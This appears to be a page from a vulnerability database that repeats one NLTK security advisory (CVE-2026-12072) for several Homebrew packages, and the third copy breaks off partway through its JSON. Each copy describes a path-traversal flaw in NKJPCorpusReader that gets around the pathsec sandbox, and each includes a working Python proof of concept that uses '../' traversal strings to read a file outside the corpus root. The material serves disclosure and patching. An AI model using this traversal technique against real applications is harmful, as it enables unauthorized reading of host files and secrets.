Search

Find a vulnerability

Search criteria

    Related vulnerabilities

    BREW-ACRONYM-CVE-2026-12072 (GHSA-6HM5-JGCP-P838)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:34 – Updated: 2026-10-29 21:52 – Source website
    VLAI
    Summary
    Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)
    Details

    Summary

    A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can influence the fileids argument of its public read methods (header, raw, words, sents, tagged_words) to read files outside the corpus root. The reader builds the file path with no containment check and opens it with the builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant deployments. header() returns the parsed content of the out-of-root file to the caller (arbitrary file read).

    ### Details SECURITY.md promises that file access is "validated against allowed NLTK data directories" and that with nltk.pathsec.ENFORCE = True "unauthorized file access … will raise PermissionError." That guarantee is enforced via FileSystemPathPointer.open() / CorpusReader.open(), which call nltk.pathsec.validate_path(...).

    NKJPCorpusReader never uses that protected path. In nltk/corpus/reader/nkjp.py:

    • add_root() builds the path by plain string concatenation with no normalization or containment check: python def add_root(self, fileid): # lines 96-102 if self.root in fileid: return fileid # attacker-controlled value returned unchanged return self.root + fileid # plain concat, '..' not stripped
    • The header view appends a fixed basename and passes the string straight into the corpus view (which opens it with the builtin open()): python class NKJPCorpus_Header_View(XMLCorpusView): # line 181 def __init__(self, filename, **kwargs): XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec) # line 189
    • The other modes reach the filesystem through XML_Tool, which uses a raw os.path.join (not the hardened FileSystemPathPointer.join()) and the builtin open(): python class XML_Tool: # line 243 def __init__(self, root, filename): self.read_file = os.path.join(root, filename) # line 251 def build_preprocessed_file(self): fr = open(self.read_file) # line 256 — pathsec never consulted

    Because open() is the builtin (not PathPointer.open()), the pathsec sentinel is never invoked, so ENFORCE = True does not block the access. For comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222) rejects ../absolute fileids and calls validate_path(..., required_root=...) before opening — NKJPCorpusReader simply does not go through it.

    ### PoC Tested against nltk==3.9.4 (latest PyPI release) and current develop.

    pip install "nltk==3.9.4" python3 poc.py

    poc.py: ```python import builtins, os, shutil, tempfile, warnings warnings.simplefilter("ignore") import nltk, nltk.pathsec as pathsec from nltk.corpus.reader.nkjp import NKJPCorpusReader

    print("nltk", nltk.version)

    # A legitimate, empty NKJP corpus root (what a real app has). root = tempfile.mkdtemp(prefix="nkjp_corpus_root_") os.makedirs(os.path.join(root, "sample"), exist_ok=True) open(os.path.join(root, "sample", "header.xml"), "w").write("")

    # The attacker's target: a file OUTSIDE the corpus root. secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_") open(os.path.join(secret_dir, "header.xml"), "w").write( "" "SECRET-API-KEY=sk-live-DEADBEEF" "")

    # Enable the strict mode SECURITY.md recommends for web / multi-tenant. pathsec.ENFORCE = True print("ENFORCE =", pathsec.ENFORCE)

    # Prove the out-of-root read and that pathsec is never consulted. opened = []; real = builtins.open builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]

    reader = NKJPCorpusReader(root=root + "/", fileids="sample") # Attacker-controlled fileids; '..' escapes the corpus root: evil = root + "/../../../../../../.." + secret_dir + "/" try: result = reader.header(fileids=[evil]) finally: builtins.open = real

    print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1]) print("disclosed content :", result[0]["title"]) shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True) ```

    Output (unmodified): nltk 3.9.4 ENFORCE = True opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml'] disclosed content : SECRET-API-KEY=sk-live-DEADBEEF With ENFORCE = True, NLTK opened a file outside the corpus root via the builtin open() (no PermissionError, no warning) and returned its content.

    ### Impact This is a path traversal (CWE-22) leading to arbitrary file read. Any application that passes attacker-influenced values into NKJPCorpusReader's fileids (e.g. letting a user choose which corpus document to read) is affected; the attacker can escape the corpus root and read files elsewhere on the host, defeating the ENFORCE=True sandbox.

    Honest scoping: header() discloses the content of out-of-root files named header.xml containing NKJP header XML. raw()/words()/sents() also open and read an arbitrary out-of-root file (proven by intercepting open()), but a separate pre-existing bug in XML_Tool (writing str to a binary NamedTemporaryFile) suppresses their return value on current Python, so for those modes the impact is arbitrary file open/read. The attacker chooses the directory freely; a fixed basename is appended per mode. The same "build-path-then-builtin-open, skipping pathsec" anti-pattern also appears in xmldocs.py:161, util.py:212,215, crubadan.py:78,97, lin.py:43, ipipan.py:191, pl196x.py:110 and is worth fixing as a class.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "nltk",
            "resource_purl": "pkg:pypi/nltk@3.10.4",
            "upstream_fixed_in": "3.10.0"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "acronym",
            "purl": "pkg:brew/acronym"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "2.0.0"
                },
                {
                  "fixed": "2.0.0_4"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/nltk@3.10.4",
            "name": "nltk",
            "resource": "nltk",
            "strategy": "registry",
            "subject_version": "3.10.4"
          }
        ]
      },
      "details": "### Summary\n   A path-traversal vulnerability in `NKJPCorpusReader` allows an attacker who can\n   influence the `fileids` argument of its public read methods (`header`, `raw`,\n   `words`, `sents`, `tagged_words`) to read files outside the corpus root. The\n   reader builds the file path with no containment check and opens it with the\n   builtin `open()`, so it bypasses NLTK\u0027s `nltk.pathsec` sandbox \u2014 including the\n   strict `ENFORCE = True` mode that `SECURITY.md` recommends for web/multi-tenant\n   deployments. `header()` returns the parsed content of the out-of-root file to\n   the caller (arbitrary file read).\n\n   ### Details\n   `SECURITY.md` promises that file access is \"validated against allowed NLTK data\n   directories\" and that with `nltk.pathsec.ENFORCE = True` \"unauthorized file\n   access \u2026 will raise `PermissionError`.\" That guarantee is enforced via\n   `FileSystemPathPointer.open()` / `CorpusReader.open()`, which call\n   `nltk.pathsec.validate_path(...)`.\n\n   `NKJPCorpusReader` never uses that protected path. In\n   `nltk/corpus/reader/nkjp.py`:\n\n   - `add_root()` builds the path by **plain string concatenation** with no\n     normalization or containment check:\n     ```python\n     def add_root(self, fileid):          # lines 96-102\n         if self.root in fileid:\n             return fileid                # attacker-controlled value returned unchanged\n         return self.root + fileid        # plain concat, \u0027..\u0027 not stripped\n     ```\n   - The header view appends a fixed basename and passes the string straight into\n     the corpus view (which opens it with the builtin `open()`):\n     ```python\n     class NKJPCorpus_Header_View(XMLCorpusView):   # line 181\n         def __init__(self, filename, **kwargs):\n             XMLCorpusView.__init__(self, filename + \"header.xml\", self.tagspec)  # line 189\n     ```\n   - The other modes reach the filesystem through `XML_Tool`, which uses a raw\n     `os.path.join` (not the hardened `FileSystemPathPointer.join()`) and the\n     builtin `open()`:\n     ```python\n     class XML_Tool:                                  # line 243\n         def __init__(self, root, filename):\n             self.read_file = os.path.join(root, filename)   # line 251\n         def build_preprocessed_file(self):\n             fr = open(self.read_file)                        # line 256 \u2014 pathsec never consulted\n     ```\n\n   Because `open()` is the builtin (not `PathPointer.open()`), the `pathsec`\n   sentinel is never invoked, so `ENFORCE = True` does not block the access. For\n   comparison, the safe API `CorpusReader.open()` (`nltk/corpus/reader/api.py:222`)\n   rejects `..`/absolute fileids and calls `validate_path(..., required_root=...)`\n   before opening \u2014 `NKJPCorpusReader` simply does not go through it.\n\n   ### PoC\n   Tested against `nltk==3.9.4` (latest PyPI release) and current `develop`.\n\n   ```\n   pip install \"nltk==3.9.4\"\n   python3 poc.py\n   ```\n\n   `poc.py`:\n   ```python\n   import builtins, os, shutil, tempfile, warnings\n   warnings.simplefilter(\"ignore\")\n   import nltk, nltk.pathsec as pathsec\n   from nltk.corpus.reader.nkjp import NKJPCorpusReader\n\n   print(\"nltk\", nltk.__version__)\n\n   # A legitimate, empty NKJP corpus root (what a real app has).\n   root = tempfile.mkdtemp(prefix=\"nkjp_corpus_root_\")\n   os.makedirs(os.path.join(root, \"sample\"), exist_ok=True)\n   open(os.path.join(root, \"sample\", \"header.xml\"), \"w\").write(\"\u003cx/\u003e\")\n\n   # The attacker\u0027s target: a file OUTSIDE the corpus root.\n   secret_dir = tempfile.mkdtemp(prefix=\"OUTSIDE_ROOT_\")\n   open(os.path.join(secret_dir, \"header.xml\"), \"w\").write(\n   \"\u003cteiHeader\u003e\u003cfileDesc\u003e\u003csourceDesc\u003e\u003cbibl\u003e\"\n   \"\u003ctitle\u003eSECRET-API-KEY=sk-live-DEADBEEF\u003c/title\u003e\"\n       \"\u003c/bibl\u003e\u003c/sourceDesc\u003e\u003c/fileDesc\u003e\u003c/teiHeader\u003e\")\n\n   # Enable the strict mode SECURITY.md recommends for web / multi-tenant.\n   pathsec.ENFORCE = True\n   print(\"ENFORCE =\", pathsec.ENFORCE)\n\n   # Prove the out-of-root read and that pathsec is never consulted.\n   opened = []; real = builtins.open\n   builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]\n\n   reader = NKJPCorpusReader(root=root + \"/\", fileids=\"sample\")\n   # Attacker-controlled `fileids`; \u0027..\u0027 escapes the corpus root:\n   evil = root + \"/../../../../../../..\" + secret_dir + \"/\"\n   try:\n       result = reader.header(fileids=[evil])\n   finally:\n       builtins.open = real\n\n   print(\"opened outside root:\", [p for p in opened if \"OUTSIDE_ROOT_\" in p][:1])\n   print(\"disclosed content  :\", result[0][\"title\"])\n   shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)\n   ```\n\n   Output (unmodified):\n   ```\n   nltk 3.9.4\n   ENFORCE = True\n   opened outside root: [\u0027/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml\u0027]\n   disclosed content  : SECRET-API-KEY=sk-live-DEADBEEF\n   ```\n   With `ENFORCE = True`, NLTK opened a file outside the corpus root via the\n   builtin `open()` (no `PermissionError`, no warning) and returned its content.\n\n   ### Impact\n   This is a path traversal (CWE-22) leading to arbitrary file read. Any\n   application that passes attacker-influenced values into `NKJPCorpusReader`\u0027s\n   `fileids` (e.g. letting a user choose which corpus document to read) is\n   affected; the attacker can escape the corpus root and read files elsewhere on\n   the host, defeating the `ENFORCE=True` sandbox.\n\n   Honest scoping: `header()` discloses the content of out-of-root files named\n   `header.xml` containing NKJP header XML. `raw()`/`words()`/`sents()` also open\n   and read an arbitrary out-of-root file (proven by intercepting `open()`), but a\n   separate pre-existing bug in `XML_Tool` (writing `str` to a binary\n   `NamedTemporaryFile`) suppresses their return value on current Python, so for\n   those modes the impact is arbitrary file open/read. The attacker chooses the\n   directory freely; a fixed basename is appended per mode. The same\n   \"build-path-then-builtin-open, skipping pathsec\" anti-pattern also appears in\n   `xmldocs.py:161`, `util.py:212,215`, `crubadan.py:78,97`, `lin.py:43`,\n   `ipipan.py:191`, `pl196x.py:110` and is worth fixing as a class.",
      "id": "BREW-acronym-CVE-2026-12072",
      "modified": "2026-10-29T21:52:04Z",
      "published": "2026-08-13T16:34:58Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/nltk/nltk/security/advisories/GHSA-6hm5-jgcp-p838"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/nltk/nltk"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)",
      "upstream": [
        "GHSA-6hm5-jgcp-p838",
        "CVE-2026-12072",
        "PYSEC-2026-3581"
      ]
    }

    BREW-GPTLINE-CVE-2026-12072 (GHSA-6HM5-JGCP-P838)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:54 – Updated: 2026-10-27 09:31 – Source website
    VLAI
    Summary
    Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)
    Details

    Summary

    A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can influence the fileids argument of its public read methods (header, raw, words, sents, tagged_words) to read files outside the corpus root. The reader builds the file path with no containment check and opens it with the builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant deployments. header() returns the parsed content of the out-of-root file to the caller (arbitrary file read).

    ### Details SECURITY.md promises that file access is "validated against allowed NLTK data directories" and that with nltk.pathsec.ENFORCE = True "unauthorized file access … will raise PermissionError." That guarantee is enforced via FileSystemPathPointer.open() / CorpusReader.open(), which call nltk.pathsec.validate_path(...).

    NKJPCorpusReader never uses that protected path. In nltk/corpus/reader/nkjp.py:

    • add_root() builds the path by plain string concatenation with no normalization or containment check: python def add_root(self, fileid): # lines 96-102 if self.root in fileid: return fileid # attacker-controlled value returned unchanged return self.root + fileid # plain concat, '..' not stripped
    • The header view appends a fixed basename and passes the string straight into the corpus view (which opens it with the builtin open()): python class NKJPCorpus_Header_View(XMLCorpusView): # line 181 def __init__(self, filename, **kwargs): XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec) # line 189
    • The other modes reach the filesystem through XML_Tool, which uses a raw os.path.join (not the hardened FileSystemPathPointer.join()) and the builtin open(): python class XML_Tool: # line 243 def __init__(self, root, filename): self.read_file = os.path.join(root, filename) # line 251 def build_preprocessed_file(self): fr = open(self.read_file) # line 256 — pathsec never consulted

    Because open() is the builtin (not PathPointer.open()), the pathsec sentinel is never invoked, so ENFORCE = True does not block the access. For comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222) rejects ../absolute fileids and calls validate_path(..., required_root=...) before opening — NKJPCorpusReader simply does not go through it.

    ### PoC Tested against nltk==3.9.4 (latest PyPI release) and current develop.

    pip install "nltk==3.9.4" python3 poc.py

    poc.py: ```python import builtins, os, shutil, tempfile, warnings warnings.simplefilter("ignore") import nltk, nltk.pathsec as pathsec from nltk.corpus.reader.nkjp import NKJPCorpusReader

    print("nltk", nltk.version)

    # A legitimate, empty NKJP corpus root (what a real app has). root = tempfile.mkdtemp(prefix="nkjp_corpus_root_") os.makedirs(os.path.join(root, "sample"), exist_ok=True) open(os.path.join(root, "sample", "header.xml"), "w").write("")

    # The attacker's target: a file OUTSIDE the corpus root. secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_") open(os.path.join(secret_dir, "header.xml"), "w").write( "" "SECRET-API-KEY=sk-live-DEADBEEF" "")

    # Enable the strict mode SECURITY.md recommends for web / multi-tenant. pathsec.ENFORCE = True print("ENFORCE =", pathsec.ENFORCE)

    # Prove the out-of-root read and that pathsec is never consulted. opened = []; real = builtins.open builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]

    reader = NKJPCorpusReader(root=root + "/", fileids="sample") # Attacker-controlled fileids; '..' escapes the corpus root: evil = root + "/../../../../../../.." + secret_dir + "/" try: result = reader.header(fileids=[evil]) finally: builtins.open = real

    print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1]) print("disclosed content :", result[0]["title"]) shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True) ```

    Output (unmodified): nltk 3.9.4 ENFORCE = True opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml'] disclosed content : SECRET-API-KEY=sk-live-DEADBEEF With ENFORCE = True, NLTK opened a file outside the corpus root via the builtin open() (no PermissionError, no warning) and returned its content.

    ### Impact This is a path traversal (CWE-22) leading to arbitrary file read. Any application that passes attacker-influenced values into NKJPCorpusReader's fileids (e.g. letting a user choose which corpus document to read) is affected; the attacker can escape the corpus root and read files elsewhere on the host, defeating the ENFORCE=True sandbox.

    Honest scoping: header() discloses the content of out-of-root files named header.xml containing NKJP header XML. raw()/words()/sents() also open and read an arbitrary out-of-root file (proven by intercepting open()), but a separate pre-existing bug in XML_Tool (writing str to a binary NamedTemporaryFile) suppresses their return value on current Python, so for those modes the impact is arbitrary file open/read. The attacker chooses the directory freely; a fixed basename is appended per mode. The same "build-path-then-builtin-open, skipping pathsec" anti-pattern also appears in xmldocs.py:161, util.py:212,215, crubadan.py:78,97, lin.py:43, ipipan.py:191, pl196x.py:110 and is worth fixing as a class.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "nltk",
            "resource_purl": "pkg:pypi/nltk@3.10.4",
            "upstream_fixed_in": "3.10.0"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "gptline",
            "purl": "pkg:brew/gptline"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "1.0.8"
                },
                {
                  "fixed": "1.0.8_22"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/nltk@3.10.4",
            "name": "nltk",
            "resource": "nltk",
            "strategy": "registry",
            "subject_version": "3.10.4"
          }
        ]
      },
      "details": "### Summary\n   A path-traversal vulnerability in `NKJPCorpusReader` allows an attacker who can\n   influence the `fileids` argument of its public read methods (`header`, `raw`,\n   `words`, `sents`, `tagged_words`) to read files outside the corpus root. The\n   reader builds the file path with no containment check and opens it with the\n   builtin `open()`, so it bypasses NLTK\u0027s `nltk.pathsec` sandbox \u2014 including the\n   strict `ENFORCE = True` mode that `SECURITY.md` recommends for web/multi-tenant\n   deployments. `header()` returns the parsed content of the out-of-root file to\n   the caller (arbitrary file read).\n\n   ### Details\n   `SECURITY.md` promises that file access is \"validated against allowed NLTK data\n   directories\" and that with `nltk.pathsec.ENFORCE = True` \"unauthorized file\n   access \u2026 will raise `PermissionError`.\" That guarantee is enforced via\n   `FileSystemPathPointer.open()` / `CorpusReader.open()`, which call\n   `nltk.pathsec.validate_path(...)`.\n\n   `NKJPCorpusReader` never uses that protected path. In\n   `nltk/corpus/reader/nkjp.py`:\n\n   - `add_root()` builds the path by **plain string concatenation** with no\n     normalization or containment check:\n     ```python\n     def add_root(self, fileid):          # lines 96-102\n         if self.root in fileid:\n             return fileid                # attacker-controlled value returned unchanged\n         return self.root + fileid        # plain concat, \u0027..\u0027 not stripped\n     ```\n   - The header view appends a fixed basename and passes the string straight into\n     the corpus view (which opens it with the builtin `open()`):\n     ```python\n     class NKJPCorpus_Header_View(XMLCorpusView):   # line 181\n         def __init__(self, filename, **kwargs):\n             XMLCorpusView.__init__(self, filename + \"header.xml\", self.tagspec)  # line 189\n     ```\n   - The other modes reach the filesystem through `XML_Tool`, which uses a raw\n     `os.path.join` (not the hardened `FileSystemPathPointer.join()`) and the\n     builtin `open()`:\n     ```python\n     class XML_Tool:                                  # line 243\n         def __init__(self, root, filename):\n             self.read_file = os.path.join(root, filename)   # line 251\n         def build_preprocessed_file(self):\n             fr = open(self.read_file)                        # line 256 \u2014 pathsec never consulted\n     ```\n\n   Because `open()` is the builtin (not `PathPointer.open()`), the `pathsec`\n   sentinel is never invoked, so `ENFORCE = True` does not block the access. For\n   comparison, the safe API `CorpusReader.open()` (`nltk/corpus/reader/api.py:222`)\n   rejects `..`/absolute fileids and calls `validate_path(..., required_root=...)`\n   before opening \u2014 `NKJPCorpusReader` simply does not go through it.\n\n   ### PoC\n   Tested against `nltk==3.9.4` (latest PyPI release) and current `develop`.\n\n   ```\n   pip install \"nltk==3.9.4\"\n   python3 poc.py\n   ```\n\n   `poc.py`:\n   ```python\n   import builtins, os, shutil, tempfile, warnings\n   warnings.simplefilter(\"ignore\")\n   import nltk, nltk.pathsec as pathsec\n   from nltk.corpus.reader.nkjp import NKJPCorpusReader\n\n   print(\"nltk\", nltk.__version__)\n\n   # A legitimate, empty NKJP corpus root (what a real app has).\n   root = tempfile.mkdtemp(prefix=\"nkjp_corpus_root_\")\n   os.makedirs(os.path.join(root, \"sample\"), exist_ok=True)\n   open(os.path.join(root, \"sample\", \"header.xml\"), \"w\").write(\"\u003cx/\u003e\")\n\n   # The attacker\u0027s target: a file OUTSIDE the corpus root.\n   secret_dir = tempfile.mkdtemp(prefix=\"OUTSIDE_ROOT_\")\n   open(os.path.join(secret_dir, \"header.xml\"), \"w\").write(\n   \"\u003cteiHeader\u003e\u003cfileDesc\u003e\u003csourceDesc\u003e\u003cbibl\u003e\"\n   \"\u003ctitle\u003eSECRET-API-KEY=sk-live-DEADBEEF\u003c/title\u003e\"\n       \"\u003c/bibl\u003e\u003c/sourceDesc\u003e\u003c/fileDesc\u003e\u003c/teiHeader\u003e\")\n\n   # Enable the strict mode SECURITY.md recommends for web / multi-tenant.\n   pathsec.ENFORCE = True\n   print(\"ENFORCE =\", pathsec.ENFORCE)\n\n   # Prove the out-of-root read and that pathsec is never consulted.\n   opened = []; real = builtins.open\n   builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]\n\n   reader = NKJPCorpusReader(root=root + \"/\", fileids=\"sample\")\n   # Attacker-controlled `fileids`; \u0027..\u0027 escapes the corpus root:\n   evil = root + \"/../../../../../../..\" + secret_dir + \"/\"\n   try:\n       result = reader.header(fileids=[evil])\n   finally:\n       builtins.open = real\n\n   print(\"opened outside root:\", [p for p in opened if \"OUTSIDE_ROOT_\" in p][:1])\n   print(\"disclosed content  :\", result[0][\"title\"])\n   shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)\n   ```\n\n   Output (unmodified):\n   ```\n   nltk 3.9.4\n   ENFORCE = True\n   opened outside root: [\u0027/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml\u0027]\n   disclosed content  : SECRET-API-KEY=sk-live-DEADBEEF\n   ```\n   With `ENFORCE = True`, NLTK opened a file outside the corpus root via the\n   builtin `open()` (no `PermissionError`, no warning) and returned its content.\n\n   ### Impact\n   This is a path traversal (CWE-22) leading to arbitrary file read. Any\n   application that passes attacker-influenced values into `NKJPCorpusReader`\u0027s\n   `fileids` (e.g. letting a user choose which corpus document to read) is\n   affected; the attacker can escape the corpus root and read files elsewhere on\n   the host, defeating the `ENFORCE=True` sandbox.\n\n   Honest scoping: `header()` discloses the content of out-of-root files named\n   `header.xml` containing NKJP header XML. `raw()`/`words()`/`sents()` also open\n   and read an arbitrary out-of-root file (proven by intercepting `open()`), but a\n   separate pre-existing bug in `XML_Tool` (writing `str` to a binary\n   `NamedTemporaryFile`) suppresses their return value on current Python, so for\n   those modes the impact is arbitrary file open/read. The attacker chooses the\n   directory freely; a fixed basename is appended per mode. The same\n   \"build-path-then-builtin-open, skipping pathsec\" anti-pattern also appears in\n   `xmldocs.py:161`, `util.py:212,215`, `crubadan.py:78,97`, `lin.py:43`,\n   `ipipan.py:191`, `pl196x.py:110` and is worth fixing as a class.",
      "id": "BREW-gptline-CVE-2026-12072",
      "modified": "2026-10-27T09:31:28Z",
      "published": "2026-08-13T16:54:46Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/nltk/nltk/security/advisories/GHSA-6hm5-jgcp-p838"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/nltk/nltk"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)",
      "upstream": [
        "GHSA-6hm5-jgcp-p838",
        "CVE-2026-12072",
        "PYSEC-2026-3581"
      ]
    }

    BREW-SAFETY-CVE-2026-12072 (GHSA-6HM5-JGCP-P838)

    Vulnerability from osv_homebrew – Published: 2026-08-13 17:33 – Updated: 2026-10-29 21:42 – Source website
    VLAI
    Summary
    Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)
    Details

    Summary

    A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can influence the fileids argument of its public read methods (header, raw, words, sents, tagged_words) to read files outside the corpus root. The reader builds the file path with no containment check and opens it with the builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant deployments. header() returns the parsed content of the out-of-root file to the caller (arbitrary file read).

    ### Details SECURITY.md promises that file access is "validated against allowed NLTK data directories" and that with nltk.pathsec.ENFORCE = True "unauthorized file access … will raise PermissionError." That guarantee is enforced via FileSystemPathPointer.open() / CorpusReader.open(), which call nltk.pathsec.validate_path(...).

    NKJPCorpusReader never uses that protected path. In nltk/corpus/reader/nkjp.py:

    • add_root() builds the path by plain string concatenation with no normalization or containment check: python def add_root(self, fileid): # lines 96-102 if self.root in fileid: return fileid # attacker-controlled value returned unchanged return self.root + fileid # plain concat, '..' not stripped
    • The header view appends a fixed basename and passes the string straight into the corpus view (which opens it with the builtin open()): python class NKJPCorpus_Header_View(XMLCorpusView): # line 181 def __init__(self, filename, **kwargs): XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec) # line 189
    • The other modes reach the filesystem through XML_Tool, which uses a raw os.path.join (not the hardened FileSystemPathPointer.join()) and the builtin open(): python class XML_Tool: # line 243 def __init__(self, root, filename): self.read_file = os.path.join(root, filename) # line 251 def build_preprocessed_file(self): fr = open(self.read_file) # line 256 — pathsec never consulted

    Because open() is the builtin (not PathPointer.open()), the pathsec sentinel is never invoked, so ENFORCE = True does not block the access. For comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222) rejects ../absolute fileids and calls validate_path(..., required_root=...) before opening — NKJPCorpusReader simply does not go through it.

    ### PoC Tested against nltk==3.9.4 (latest PyPI release) and current develop.

    pip install "nltk==3.9.4" python3 poc.py

    poc.py: ```python import builtins, os, shutil, tempfile, warnings warnings.simplefilter("ignore") import nltk, nltk.pathsec as pathsec from nltk.corpus.reader.nkjp import NKJPCorpusReader

    print("nltk", nltk.version)

    # A legitimate, empty NKJP corpus root (what a real app has). root = tempfile.mkdtemp(prefix="nkjp_corpus_root_") os.makedirs(os.path.join(root, "sample"), exist_ok=True) open(os.path.join(root, "sample", "header.xml"), "w").write("")

    # The attacker's target: a file OUTSIDE the corpus root. secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_") open(os.path.join(secret_dir, "header.xml"), "w").write( "" "SECRET-API-KEY=sk-live-DEADBEEF" "")

    # Enable the strict mode SECURITY.md recommends for web / multi-tenant. pathsec.ENFORCE = True print("ENFORCE =", pathsec.ENFORCE)

    # Prove the out-of-root read and that pathsec is never consulted. opened = []; real = builtins.open builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]

    reader = NKJPCorpusReader(root=root + "/", fileids="sample") # Attacker-controlled fileids; '..' escapes the corpus root: evil = root + "/../../../../../../.." + secret_dir + "/" try: result = reader.header(fileids=[evil]) finally: builtins.open = real

    print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1]) print("disclosed content :", result[0]["title"]) shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True) ```

    Output (unmodified): nltk 3.9.4 ENFORCE = True opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml'] disclosed content : SECRET-API-KEY=sk-live-DEADBEEF With ENFORCE = True, NLTK opened a file outside the corpus root via the builtin open() (no PermissionError, no warning) and returned its content.

    ### Impact This is a path traversal (CWE-22) leading to arbitrary file read. Any application that passes attacker-influenced values into NKJPCorpusReader's fileids (e.g. letting a user choose which corpus document to read) is affected; the attacker can escape the corpus root and read files elsewhere on the host, defeating the ENFORCE=True sandbox.

    Honest scoping: header() discloses the content of out-of-root files named header.xml containing NKJP header XML. raw()/words()/sents() also open and read an arbitrary out-of-root file (proven by intercepting open()), but a separate pre-existing bug in XML_Tool (writing str to a binary NamedTemporaryFile) suppresses their return value on current Python, so for those modes the impact is arbitrary file open/read. The attacker chooses the directory freely; a fixed basename is appended per mode. The same "build-path-then-builtin-open, skipping pathsec" anti-pattern also appears in xmldocs.py:161, util.py:212,215, crubadan.py:78,97, lin.py:43, ipipan.py:191, pl196x.py:110 and is worth fixing as a class.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "nltk",
            "resource_purl": "pkg:pypi/nltk@3.10.4",
            "upstream_fixed_in": "3.10.0"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "safety",
            "purl": "pkg:brew/safety"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "3.3.1"
                },
                {
                  "fixed": "3.8.1_1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/nltk@3.10.4",
            "name": "nltk",
            "resource": "nltk",
            "strategy": "registry",
            "subject_version": "3.10.4"
          }
        ]
      },
